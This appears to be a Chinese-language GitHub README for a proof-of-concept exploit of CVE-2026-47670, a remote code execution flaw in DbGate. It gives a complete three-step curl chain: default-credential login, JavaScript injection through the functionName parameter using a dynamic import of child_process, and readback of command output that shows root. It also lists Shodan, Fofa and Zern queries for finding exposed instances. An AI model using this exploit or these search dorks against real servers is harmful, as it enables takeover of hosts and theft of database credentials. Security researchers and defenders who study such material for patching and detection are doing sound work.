error-inside/CVE-2026-47670
GitHub: error-inside/CVE-2026-47670
CVE-2026-47670 的 PoC 利用脚本,通过 DbGate loadReader 接口的 functionName 代码注入实现已认证远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-47670
[][01]
[][03]
[](./LICENSE)
[](./LICENSE)
通过 DbGate 中的 loadReader functionName 代码注入实现已认证的远程代码执行
[DbGate][08] 是一款开源、跨平台的数据库管理工具,
专为需要同时操作多种数据库系统的开发者和数据库管理员设计。
它提供了统一的 Web 端和桌面端界面,用于管理 SQL 和 NoSQL 数据库——包括
MySQL、PostgreSQL、SQL Server、MongoDB、SQLite、Oracle 等——无需
在不同的客户端应用程序之间切换。DbGate 可以作为独立桌面应用程序运行在 Windows、macOS 和 Linux 上,也可以通过 Docker 部署为 Web 应用程序,这使其在团队环境和
远程数据库管理场景中非常受欢迎。
**CVE-2026-47670** 是一个**已认证的远程代码执行** (RCE) 漏洞,影响 *7.1.9* **之前**的 DbGate 版本。该缺陷存在于 `/runners/load-reader` endpoint 中,其中 `functionName` 参数在没有进行适当清理的情况下被传递到不安全的代码执行路径。拥有有效 DbGate 凭据的攻击者可以通过该参数注入任意 JavaScript 代码,这些代码将以 **root 权限**在服务器上**执行**。该漏洞极其危险,因为应用程序的 `require = null` 缓解措施可以使用动态 `import()` 语句轻易绕过,从而使攻击者能够 **spawn shells**、**窃取数据库凭据**、横向移动到已连接的数据库服务器,或完全破坏宿主系统。
## PoC
```
# 步骤 1 — 认证并获取 Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# 步骤 2 — 通过 functionName 注入(替换 TOKEN 和 /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# 步骤 3 — 读回命令输出
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
```
## 用法
```
python CVE-2026-47670-X7.py
```
* [Zern][03] : `title:"DbGate"`
* [Fofa][04] : `title="DbGate"`
* [Shodan][05] : `http.title:"DbGate"`
## 相关资源
* [OpenCVE - CVE-2026-47670][01] *(尚未发布)*
* [NIST - CVE-2026-47670 详情][02] *(尚未发布)*
* [Gitlab Advisory Database - CVE-2026-47670][06]
* [Github - DbGate: MySQL、PostgreSQL、SQL Server、MongoDB、SQLite 等数据库的管理器][07]
## 作者
* ErrorInside // SCT
## 许可证
SCT-PL
标签:PoC, XXE攻击, 安全漏洞, 数据可视化, 暴力破解, 编程工具, 远程代码执行, 逆向工具